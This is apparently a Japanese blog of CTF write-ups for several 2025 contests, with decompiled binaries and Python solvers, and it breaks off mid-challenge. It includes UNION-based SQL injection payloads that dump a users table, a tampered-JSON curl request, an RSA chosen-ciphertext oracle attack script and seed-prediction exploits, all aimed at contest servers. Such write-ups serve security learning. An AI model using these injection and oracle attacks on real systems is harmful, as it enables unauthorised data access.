s = 51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749

with open('Homo_RSA_print.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])
signs = {sign.split(' = ')[0]: int(sign.split(' = ')[1]) for sign in params[4:] if sign != ''}

xs = [53, 71, 73, 83, 97, 101, 103, 107, 109, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 191, 193, 199, 211, 223, 227, 229, 233, 239, 251, 257, 263, 269, 271, 277, 281, 293, 307, 311, 313, 317, 331, 337, 349, 359, 367, 373, 397, 401, 409, 419, 421, 431, 433, 439, 457, 461, 463, 467, 487, 503, 509, 521, 523, 541, 547, 563, 569, 571, 577, 587, 593, 601, 607, 613, 617, 631, 643, 653, 661, 677, 683, 691, 701, 719, 727, 733, 743, 751, 761, 769, 773, 787, 797, 809, 821, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 911, 919, 929, 941, 947, 967, 971, 977, 983, 991, 997]

m = 1
for x in xs:
    k = 'Sign(%d)' % x
    v = signs[k]
    m = m * v
    m = m % n

assert pow(m, e, n) == s

flag = 'grodno{%d}' % m
print(flag)
grodno{33685806344610013440391092471162906731747414799458770390228011547896947441019038442809668369384847898283716808823907627273158942410599489392109911363745780119147336936265397500636276495512425271198667881752093225451468171745668826537802448151911985631870475104451959679785183493969420533121864372306616389823}

Feedback Form (Welcome)

アンケートに答えたら、フラグが表示された。

grodno{Our_next_CTF_will_be_in_July_2026._We_invite_you_to_participate_!}

Involuntary CTF 2025 Writeup

この大会は2025/6/28 3:00(JST)~2025/6/30 3:00(JST)に開催されました。
この大会は個人戦。結果は1200点で443人中15位でした。
途中でnc接続先サーバがダウンして、アクセスできなかったりして、取り組みをやめてしまいましたが、自分で解けた問題をWriteupとして書いておきます。

First steps (misc 50)

問題にフラグが書いてあった。

!FLAG!{H4ckers_f1rst_st3ps}!FLAG!

Basic python (reversing 100)

以下のPythonスクリプトが添付されている。

def getFLag():
    file=open("flag.txt","rt")
    fileContents=file.read().strip()
    return fileContents

def main():
    a=getFLag()
    b=[]
    for i in range(len(a)):
        if(i%2==0):
            b.append(ord(a[i])+i)
        else:
            b.append(ord(a[i])-i)

    for i in range(len(b)//2):
        temp=b[-i]
        b[-i]=b[i]
        b[i]=temp

    print(b)

main()

スクリプトの処理概要は以下の通り。

・a: flag.txtの内容
・b = []
・iがaの長さ未満の値に対して以下を実行
 ・iが偶数の場合
  ・bにa[i]のASCIIコードにiをプラスしたものを追加
 ・iが奇数の場合
  ・bにa[i]のASCIIコードにiをマイナスしたものを追加
・bを先頭を除き、逆にする。
・bを出力

このことを前提に逆算していく。

#!/usr/bin/env python3
b = [33, 73, 32, 103, 39, 106, -2, 159, 0, 151, 80, 140, 66, 128, 87, 78, 79, 119, 27, 117, 8237, 95, 91, 133, 80, 135, 80, 130, 39, 116, 105, 105, 110, 56, 71, 129, 28, 75, 62, 78, 69]

for i in range(len(b) // 2):
    temp = b[-i]
    b[-i] = b[i]
    b[i] = temp

flag = ''
for i in range(len(b)):
    if i % 2 == 0:
        flag += chr(b[i] - i)
    else:
        flag += chr(b[i] + i)
print(flag)
!FLAG!{N0w_th4t_wasn’t_2_h4rd_now!}!FLAG!

this flaG Doesn't Bite (reversing 250)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char cVar1;
  long in_FS_OFFSET;
  int local_3c;
  uint auStack_38 [8];
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  builtin_strncpy(local_18,"D3bugFTW",8);
  for (local_3c = 0; local_3c < 8; local_3c = local_3c + 1) {
    cVar1 = myFunc((int)local_18[local_3c]);
    auStack_38[local_3c] = (int)cVar1;
    printf("%02x",(ulong)auStack_38[local_3c]);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

byte myFunc(byte param_1)

{
  return param_1 ^ 0x69;
}

暗号化したデータを0x69とXORすれば、元のテキストを割り出すことができる。

>>> key = 0x69
>>> enc = '2d5a0b1c0e2f3d3e'
>>> enc = bytes.fromhex(enc)
>>> ''.join([chr(c ^ key) for c in enc])
'D3bugFTW'
!FLAG!{D3bugFTW}!FLAG!

Basic SQL (web exploitation 200)

適当なアカウントを作成して、ログインする。検索画面になるので、SQLインジェクションを試す。
以下を入力して、検索する。

Z' union select 1,2 #

この結果、以下のように表示された。

1
2

以下を入力して、検索する。

Z' union select schema_name,2 from information_schema.schemata #

この結果、以下のように表示された。

information_schema
2

performance_schema
2

basicsql
2

以下を入力して、検索する。

Z' union select table_name,2 from information_schema.tables where table_schema = 'basicsql' #

この結果、以下のように表示された。

items
2

users
2

以下を入力して、検索する。

Z' union select column_name,2 from information_schema.columns where table_name = 'users' #

この結果、以下のように表示された。

id
2

name
2

password
2

admin
2

以下を入力して、検索する。

Z' union select name,password from users where name = 'flag' #

この結果、以下のように表示された。

flag
!FLAG!{1nj3cting_4ction}!FLAG!
!FLAG!{1nj3cting_4ction}!FLAG!

Lottery (web exploitation 250)

ランダムの数字を推測するページになっている。
試しに1234と入力し、Enterを押したら、以下のようにメッセージが表示された。

incorrect guess again. The number was 8296422562579822

デベロッパーツールでペイロードを見てみると、以下のようになっていた。

{"number":"8296422562579822","guess":"1234"}

両方、同じ数字を指定して、送信すればよいのかもしれない。

$ curl https://involuntaryctf.net/rollthedice/flag -H 'Content-Type: application/json' -d '{"number":"1234","guess":"1234"}'
{
  "flag": "!FLAG!{N0t_so_r4nd0m!!}!FLAG! "
}
!FLAG!{N0t_so_r4nd0m!!}!FLAG!

Enter the crypt (cryptography 100)

quipqiupで復号する。その際、f=qを指定して調整する。

Hello, this is my cypher text. It's top secret. This is the flag if you want it !FLAG!{Fr3quency_4n4lysis}!FLAG. I wonder how you're reading this if I encrypted it, I guess I'll never know.

復号した文章の中にフラグが含まれている。ただ、末尾の"!"が不足しているので、末尾に"!"を付ける。

!FLAG!{Fr3quency_4n4lysis}!FLAG!

Deeper in the Catacombs (cryptography 250)

$ nc involuntaryctf.net 5010
 - Generating your public / private key-pairs now . . .
 - Your public key is (65537,18083389079114514152103047882473031378016675118618550973064164376460873880681717208549105627552880116961947783304376085078714843499306336072723053609414413974355208391599536786091808003746387970431084900773013905811306024619537465387869710630358551210171070918488059370773278261315904677773907249895339711842274291108952521525426747969258959882364254247104992127427105948663233422255636778732485309850542625942215911217491759435967015113771072196933156739737864262510722116152142126303515740173498542729770065040393087004168503823270516590546355420814872443572965570462960507075987534795208655387901370259272856608929)

 Here's some cryptography I did earlier: 664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092
 - Enter a message to encrypt with your public key: abcd
abcd
 - Your encrypted message is: 13028026615106220773096638466794157590926184494052983586519074738027911087541564560071077643746559301398043508147920627964289429705815708487598063854357093224784562990287180279093205208980134618054686212439339437848446364425769196589016123011966912604309670516330273312371710949161465105508215467242147417631866048259350490120081262330123081158982485848209168811675704260872173677189663602542969047241140813640732077249929206328408439041696884674954967205787149972107415574740240273583167056788392757218809859370185595663458085847628785785459263402470332083326529394480264996225440122750475127320611800510056241369588
- Enter some cipher text to decrypt with the private key: 664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092
664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092
You're not allowed to do that

やはり提示されている暗号データを直接指定しても復号してくれない。試しに適当な平文を暗号化し、暗号化データを復号してみる。

$ nc involuntaryctf.net 5010
 - Generating your public / private key-pairs now . . .
 - Your public key is (65537,16326371060279759879501024112745096387331468996332756763678972147879049912356659782264554887764578891033175055134475536606377418331660422225192055468927232424044955588065884774366161954224600730570107300707486022404749614995003339094625022294343998527672675240794736430894776473988376648447375662510069246723003088744134559861899388105497317698347055201161364867460738792784298145234618236096455445455897185683567970967152762861516516688164726991473400663978139671347373807397697694785093180598630183855942102656383850522190737296674538850681425259565690170437831941212087835815043327150049482224134291040056002814153)

 Here's some cryptography I did earlier: 15049198028869459128388301500482497360084893752189814324242351717740242098804379525214728071862497921679915037939082276007631829880537249627287028342181662263828640233473223897424728869548916522169682611274765101526349550808326548310389600869224932688342041564165942995840020458866234585303441180603284292861801625748706645816860304975029403748260703534783179154543636109254807706798532014893792379973258340570182188776452553991388595398101855674102441980232084995804306759249101182664906380376176533197139111057794571156999724764860979427564321001217257396885640999284408311254575090297739430738775799789814735215862
 - Enter a message to encrypt with your public key: abc
abc
 - Your encrypted message is: 5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401
- Enter some cipher text to decrypt with the private key: 5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401
5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401
- Your decrypted cipher text is: 97989910

$ nc involuntaryctf.net 5010
 - Generating your public / private key-pairs now . . .
 - Your public key is (65537,15165481638095853451786149147770928046881189578414366860631388836964204469337640310660766723488416946084921784529600267774507418974558575146613956047970033258711979351546847345644000614191578662368651102687276197874303688557799771342617744813717034665551896344377541453220968407040887269870134768194877717803216469860015780084595645025224385745565595576277058895136040099870886238784485740889274698927498993276323270704921610619681544696602156762404744678810054584680551696843391613104914672331610320094530516239798055573398776046769210816804869311023255174276463962473065671342701158592594744557140992555269093056219)

 Here's some cryptography I did earlier: 14197036586358708822798213074636532461834901834150916846548918405222616428934937753815050278094759729916275696623025329737776206203554664426423929897891840265525656644550386772043956981809840831139552107226282842920712728997338600127485545358854126619861119359164471980836521293936816023306999223468114029738217820958333115769425189674111416717041549482042407696988539790417021215453453042674415214486479063685839437991497022119241350081657732280989393963922546230055705028788994997572819326925265045832277059969802773413542979275684898332485136667569971405796499724906001621961843246094406659986010140000373736052230
 - Enter a message to encrypt with your public key: xyz
xyz
 - Your encrypted message is: 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795
- Enter some cipher text to decrypt with the private key: 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795
7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795
- Your decrypted cipher text is: 12012112210

>>> n = 15165481638095853451786149147770928046881189578414366860631388836964204469337640310660766723488416946084921784529600267774507418974558575146613956047970033258711979351546847345644000614191578662368651102687276197874303688557799771342617744813717034665551896344377541453220968407040887269870134768194877717803216469860015780084595645025224385745565595576277058895136040099870886238784485740889274698927498993276323270704921610619681544696602156762404744678810054584680551696843391613104914672331610320094530516239798055573398776046769210816804869311023255174276463962473065671342701158592594744557140992555269093056219
>>> e = 65537
>>> m = 12012112210
>>> pow(m, e, n)
7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795

どうやら入力文字(末尾の改行コードを含む)のASCIIコードを10進数文字列で並べた値に対して、暗号化しているらしい。

1回暗号化のチャンスがあるので、適当な値を入力し、次の式を満たすc2を取得する。

c2 = pow(m2, e, n)

フラグは以下の式で暗号化されている。

c = pow(m, e, n)

ここでc * c2を復号すれば、m * m2を取得することができる。この値にinverse(m2, n)を掛け、nで割ればmを取得できる。あとはこれを文字列にすればフラグになる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('involuntaryctf.net', 5010))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

e, n = eval(data.split(' ')[-1])

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

c = int(data.split(' ')[-1])

try_msg = 'A'
try_m = int(''.join([str(ord(x)) for x in try_msg + '\n']))

data = recvuntil(s, b': ')
print(data + try_msg)
s.sendall(try_msg.encode() + b'\n')

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

try_c = int(data.split(' ')[-1])
try_c2 = (try_c * c) % n

data = recvuntil(s, b': ')
print(data + str(try_c2))
s.sendall(str(try_c2).encode() + b'\n')

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

try_m2 = int(data.split(' ')[-1])

m = try_m2 * inverse(try_m, n) % n
assert pow(m, e, n) == c

print('[+] decrypted value:', m)

m = str(m)

flag = ''
code = ''
for i in range(len(m)):
    code += m[i]
    if int(code) > 32 and int(code) < 127:
        flag += chr(int(code))
        code = ''
print('[*] flag:', flag)

実行結果は以下の通り。

 - Generating your public / private key-pairs now . . .
 - Your public key is (65537,17894954658667421591715274685827892775920265896742635109713935177131763604382550265872385547772673383857041120733937372125196184476059381099430269370222046750068622394904608005895229244187598920676340722480682202506565855414591743836270060180133083647763198882303424959801249580591439495437647804810787404385993690409456596005076859220120381859366639444360048132459307163885175134727020851486435109006329623589773336836101716039841226373235492438698926203947494464554613732648619069442324714222100496865340409739737208331253075505656573254049171172017644007686588920639535927215319412691144449414173293310128097619943)

 Here's some cryptography I did earlier: 16325004137881380656650788592075457215420647570460668975640338187573109151136218827684775918182944431025571961878021688363731785624550676768002644425666534826009726734861382086010708334597616897139849366011253429365636238175263416777313638896384068668577007216812149573552545466279770277104433770360715849668270209592312605777059993111660959605754654477777896302921122062628917343509679842744728974231831182214971368019581578383742890134931080615940817590342121874746485972582575214831384375154731795299904636952093279485176831076759529197449614427301250658271695142251853385436075208117585096560667960362375645098677
 - Enter a message to encrypt with your public key: A
A
 - Your encrypted message is: 9620003749791180614860301667390674510020241642789043272423800493567594231513216797448411003069158746855789999661599701957967013626533406340778198473166557385972346604373860322213898939110572134980303362360626470739660638740273522738590800893550109030198384613866689318015012970456364568236453669992640175838457209945691699821966328834863131486769131271510985011405568970049392146875871546212946160656568734455000182410792176906133218085091599825761590332517456886567099911669184316552886195130092286261834676800803642176555790959815477021789952124226512467101837932360570600609122800679239975861542786936106450297870
- Enter some cipher text to decrypt with the private key: 4550338601239737426450064127450170590954769595659745234786227447749091863542555199680852124512047884761002214737962300470540924067324515824314675942788388130205495615793753655819471827975322961778140963965544363072458291093881331021272068139259154254346613997671032332441983715121449100889105672520643551112961267489355832502431813835788035540554269291739036796794006485457194581905113669589646628919021683886241857866290206454518934481851184653243531722108266772268457591915419275760578402022331513717906511450791907508974399494864798234116368554895112989302242002400353496689144666539754807916844408071041379590551
4550338601239737426450064127450170590954769595659745234786227447749091863542555199680852124512047884761002214737962300470540924067324515824314675942788388130205495615793753655819471827975322961778140963965544363072458291093881331021272068139259154254346613997671032332441983715121449100889105672520643551112961267489355832502431813835788035540554269291739036796794006485457194581905113669589646628919021683886241857866290206454518934481851184653243531722108266772268457591915419275760578402022331513717906511450791907508974399494864798234116368554895112989302242002400353496689144666539754807916844408071041379590551
- Your decrypted cipher text is: 21943690379366361226623416928671798628689968373822040594436903793791320
[+] decrypted value: 3370766571331238283659511048951121141119810810110912533707665713332
[*] flag: !FLAG!{RSA_n0_problem}!FLAG!
!FLAG!{RSA_n0_problem}!FLAG!

BSides Mumbai CTF 2025 Writeup

この大会は2025/6/28 19:00(JST)~2025/6/29 19:00(JST)に開催されました。
今回もチームで参戦。結果は1791点で260チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (Misc)

問題にフラグが書いてあった。

BMCTF{W3lc0me_t0_CTF_2025}

BADC0DE (Misc)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  size_t sVar3;
  FILE *__stream;
  undefined8 uVar4;
  long in_FS_OFFSET;
  char local_b8 [16];
  char local_a8 [16];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  generate_secret(local_b8,0x10);
  printf("Enter the secret: ");
  pcVar2 = fgets(local_a8,0x10,stdin);
  if (pcVar2 == (char *)0x0) {
    puts("Failed to read input.");
  }
  else {
    sVar3 = strcspn(local_a8,"\n");
    local_a8[sVar3] = '\0';
    iVar1 = strcmp(local_a8,local_b8);
    if (iVar1 == 0) {
      __stream = fopen("flag.txt","r");
      if (__stream == (FILE *)0x0) {
        perror("Could not open flag file");
        uVar4 = 1;
        goto LAB_001014cb;
      }
      fgets(local_98,0x80,__stream);
      fclose(__stream);
      printf("Correct secret! Here\'s your flag: %s\n",local_98);
    }
    else {
      puts("Wrong secret.");
    }
  }
  uVar4 = 0;
LAB_001014cb:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar4;
}

void generate_secret(long param_1,long param_2)

{
  int iVar1;
  time_t tVar2;
  undefined8 local_20;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)(tVar2 / 0x3c) ^ 0xbadc0de);
  for (local_20 = 0; local_20 < param_2 - 1U; local_20 = local_20 + 1) {
    iVar1 = rand();
    *(char *)(local_20 + param_1) = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'A';
  }
  *(undefined1 *)(param_1 + param_2 + -1) = 0;
  return;
}

generate_secret関数で生成された値を当てることができれば、フラグを取得できる。

#!/usr/bin/env python3
from pwn import *
import ctypes

p = remote('badcode.bsidesmumbai.in', 10049)

libc = ctypes.CDLL("libc.so.6")

tVar2 = libc.time(0)
libc.srand((tVar2 // 0x3c) ^ 0xbadc0de)

secret = ''
for i in range(15):
    r = libc.rand()
    secret += chr(r - (r // 26) * 26 + ord('A'))

p.sendline(secret.encode())
data = p.recvuntil(b': ').decode()
print(data + secret)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to badcode.bsidesmumbai.in on port 10049: Done
Enter the secret: CJYWQRHCMXZOBCJ
Correct secret! Here's your flag: BMCTF{nekonekonek_owo}
[*] Closed connection to badcode.bsidesmumbai.in port 10049
BMCTF{nekonekonek_owo}

Takiya (Misc)

添付の16進数の長大なデータはhexデコードすると、120000バイトある。最初や最後の方はffばかりのデータであることから色を示していると推測する。200×200のピクセルデータであれば、サイズ的に合うので、このデータから画像生成する。

#!/usr/bin/env python3
from PIL import Image

with open('takiya', 'r') as f:
    data = f.read()

data = bytes.fromhex(data)

WIDTH = 200
HIGHT = 200

output_img = Image.new('RGB', (WIDTH, HIGHT), (255, 255, 255))

for y in range(HIGHT):
    for x in range(WIDTH):
        index = (y * WIDTH + x) * 3
        r = data[index]
        g = data[index + 1]
        b = data[index + 2]
        output_img.putpixel((x, y), (r, g, b))

output_img.save('flag.png')

生成した画像にフラグが書いてあった。

BMCTF{p1ll0ws_a1n7_p1ll0w1ng}

XORyy (Reverse Engineering)

$ strings XORyy | grep BMCTF
Congratulations! You found the flag: BMCTF{X0R_Is_Fun}
BMCTF{X0R_Is_Fun}

idkwhattonamethis (Reverse Engineering)

Ghidraでデコンパイルする。

void main(void)

{
  time_t tVar1;
  
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  bamboozler();
  return;
}

undefined8 bamboozler(void)

{
  char cVar1;
  undefined8 uVar2;
  size_t sVar3;
  char local_28 [32];
  
  wibbleWobble();
  zoinkifyLogic();
  cVar1 = flibberVMCheck();
  if (cVar1 == '\0') {
    printf("Provide access glyph: ");
    __isoc99_scanf(&DAT_001020ba,local_28);
    sVar3 = strlen(local_28);
    if (sVar3 == 5) {
      scrumbleFlaginator(local_28);
      uVar2 = 0;
    }
    else {
      puts("No glyph, no glory.");
      uVar2 = 1;
    }
  }
  else {
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

void scrumbleFlaginator(char *param_1)

{
  char cVar1;
  uint uVar2;
  long lVar3;
  size_t sVar4;
  ulong uVar5;
  char local_9b;
  undefined1 local_9a;
  undefined1 local_99;
  char local_98 [48];
  byte local_68 [64];
  uint local_28;
  byte local_21;
  int local_20;
  uint local_1c;
  
  local_68[0] = 0;
  local_68[1] = 0;
  local_68[2] = 0;
  local_68[3] = 0;
  local_68[4] = 0;
  local_68[5] = 0;
  local_68[6] = 0;
  local_68[7] = 0;
  local_68[8] = 0;
  local_68[9] = 0;
  local_68[10] = 0;
  local_68[0xb] = 0;
  local_68[0xc] = 0;
  local_68[0xd] = 0;
  local_68[0xe] = 0;
  local_68[0xf] = 0;
  local_68[0x10] = 0;
  local_68[0x11] = 0;
  local_68[0x12] = 0;
  local_68[0x13] = 0;
  local_68[0x14] = 0;
  local_68[0x15] = 0;
  local_68[0x16] = 0;
  local_68[0x17] = 0;
  local_68[0x18] = 0;
  local_68[0x19] = 0;
  local_68[0x1a] = 0;
  local_68[0x1b] = 0;
  local_68[0x1c] = 0;
  local_68[0x1d] = 0;
  local_68[0x1e] = 0;
  local_68[0x1f] = 0;
  local_68[0x20] = 0;
  local_68[0x21] = 0;
  local_68[0x22] = 0;
  local_68[0x23] = 0;
  local_68[0x24] = 0;
  local_68[0x25] = 0;
  local_68[0x26] = 0;
  local_68[0x27] = 0;
  local_68[0x28] = 0;
  local_68[0x29] = 0;
  local_68[0x2a] = 0;
  local_68[0x2b] = 0;
  local_68[0x2c] = 0;
  local_68[0x2d] = 0;
  local_68[0x2e] = 0;
  local_68[0x2f] = 0;
  local_68[0x30] = 0;
  local_68[0x31] = 0;
  local_68[0x32] = 0;
  local_68[0x33] = 0;
  local_68[0x34] = 0;
  local_68[0x35] = 0;
  local_68[0x36] = 0;
  local_68[0x37] = 0;
  local_68[0x38] = 0;
  local_68[0x39] = 0;
  local_68[0x3a] = 0;
  local_68[0x3b] = 0;
  local_68[0x3c] = 0;
  local_68[0x3d] = 0;
  local_68[0x3e] = 0;
  local_68[0x3f] = 0;
  builtin_strncpy(local_98,"QWERTYUIOPASDFGHJKLZXCVBNM9876543210",0x25);
  local_20 = 0;
  for (local_1c = 0; local_1c < 0x32; local_1c = local_1c + 2) {
    local_9b = (&DAT_00102070)[(int)local_1c];
    local_9a = (&DAT_00102070)[(int)(local_1c + 1)];
    local_99 = 0;
    lVar3 = strtol(&local_9b,(char **)0x0,0x10);
    local_21 = (byte)lVar3;
    uVar5 = (ulong)local_20;
    sVar4 = strlen(param_1);
    uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4]);
    uVar5 = (ulong)local_20;
    sVar4 = strlen(param_1);
    cVar1 = gizmoXOR((int)local_98[(ulong)(long)local_20 % 0x25],(int)param_1[uVar5 % sVar4]);
    local_28 = (int)cVar1 ^ uVar2;
    local_68[(int)local_1c / 2] = (byte)local_28 ^ local_21;
    local_20 = local_20 + 1;
  }
  printf("Final Output: %s\n",local_68);
  return;
}

int squibbleIndex(char param_1)

{
  return (param_1 * 3 + 7) % 0xd;
}

uint gizmoXOR(byte param_1,byte param_2)

{
  return (uint)(param_1 & param_2) * 2 ^ (uint)(param_1 ^ param_2);
}

scrumbleFlaginator関数の最後の繰り返し処理部分は以下のようになっている。

・local_20 = 0
・50未満の偶数のlocal_1cに対して以下を実行
 ・local_9b: DAT_00102070のlocal_1c番目の値
 ・local_9a: DAT_00102070のlocal_1c + 1番目の値
 ・lVar3: local_9bの文字を16進数として10進数の整数に変換
 ・local_21: lVar3をbyte文字にキャスト
 ・uVar5 = local_20
 ・sVar4: bamboozler関数の呼び出しにより、5固定
 ・uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4])
  ・(param_1[uVar5 % sVar4] * 3 + 7) % 13を返却
 ・cVar1 = gizmoXOR((int)local_98[local_20 % 0x25], (int)param_1[uVar5 % sVar4])
  ・((int)local_98[local_20 % 0x25] & (int)param_1[uVar5 % sVar4]) * 2 ^ ((int)local_98[local_20 % 0x25] ^ (int)param_1[uVar5 % sVar4])を返却
 ・local_28: cVar1とuVar2のXOR
 ・local_68[local_1c / 2] = (byte)local_28 ^ local_21
 ・local_20 = local_20 + 1

1バイトずつにしか関係しないため、フラグが"BMCTF"から始まることを前提に入力文字を求める。うまくいかなかったので、バイナリにブルートフォースで求めてみた。

BMCTF{L0]_D1dWY0g_H0_It?}

特に5バイトブロックに分けたときの2, 4文字がおかしい気がするので、調整する。

#!/usr/bin/env python3
from pwn import *

binary = './idkwhattonamethis'

flag_head = b'BMCTF'
glyph = ''
for i in range(5):
    for code in range(32, 127):
        try_glyph = glyph + chr(code) + '0' * (4 - i)

        p = process(binary)

        p.sendline(try_glyph.encode())
        data = p.recvuntil(b': ').decode()
        print(data + try_glyph)

        data = p.recvline().rstrip()
        print(data)
        p.close()

        output = data[14:]
        if output[:i+1] == flag_head[:i+1]:
            if i == 1 and code == ord('F'):
                continue
            if i == 3 and code == ord('3'):
                continue
            glyph += chr(code)
            break

最終的な実行結果は以下の通り。

                :
[+] Starting local process './idkwhattonamethis': pid 54068
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54068)
Provide access glyph: LMF4.
b'Final Output: BMCTz{H0WkD1d_A0u_D\x10_It?u'
[+] Starting local process './idkwhattonamethis': pid 54070
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54070)
Provide access glyph: LMF4/
b'Final Output: BMCT|{H0WmD1d_E0u_D\x16_It?s'
[+] Starting local process './idkwhattonamethis': pid 54072
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54072)
Provide access glyph: LMF40
b'Final Output: BMCTF{H0W_D1d_Y0u_D0_It?}'
BMCTF{H0W_D1d_Y0u_D0_It?}

Diff_EQ (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char cVar1;
  char *pcVar2;
  undefined8 uVar3;
  undefined2 local_7a;
  char local_78 [104];
  size_t local_10;
  
  local_7a = 0x79;
  printf("Enter the flag: ");
  pcVar2 = fgets(local_78,100,stdin);
  if (pcVar2 == (char *)0x0) {
    puts("Input error.");
    uVar3 = 1;
  }
  else {
    local_10 = strlen(local_78);
    if (local_78[local_10 - 1] == '\n') {
      local_78[local_10 - 1] = '\0';
    }
    cVar1 = ZP(local_78);
    if (cVar1 == '\x01') {
      cVar1 = XQ(local_78);
      if (cVar1 == '\0') {
        puts("Wrong flag!");
      }
      else {
        puts("Correct flag!");
      }
      uVar3 = 0;
    }
    else {
      puts("Invalid format!");
      uVar3 = 1;
    }
  }
  return uVar3;
}

undefined4 ZP(char *param_1)

{
  int iVar1;
  size_t sVar2;
  
  sVar2 = strlen(param_1);
  if (((sVar2 == 0x12) && (iVar1 = strncmp(param_1,"BMCTF{",6), iVar1 == 0)) &&
     (param_1[0x11] == '}')) {
    return 1;
  }
  return 0;
}

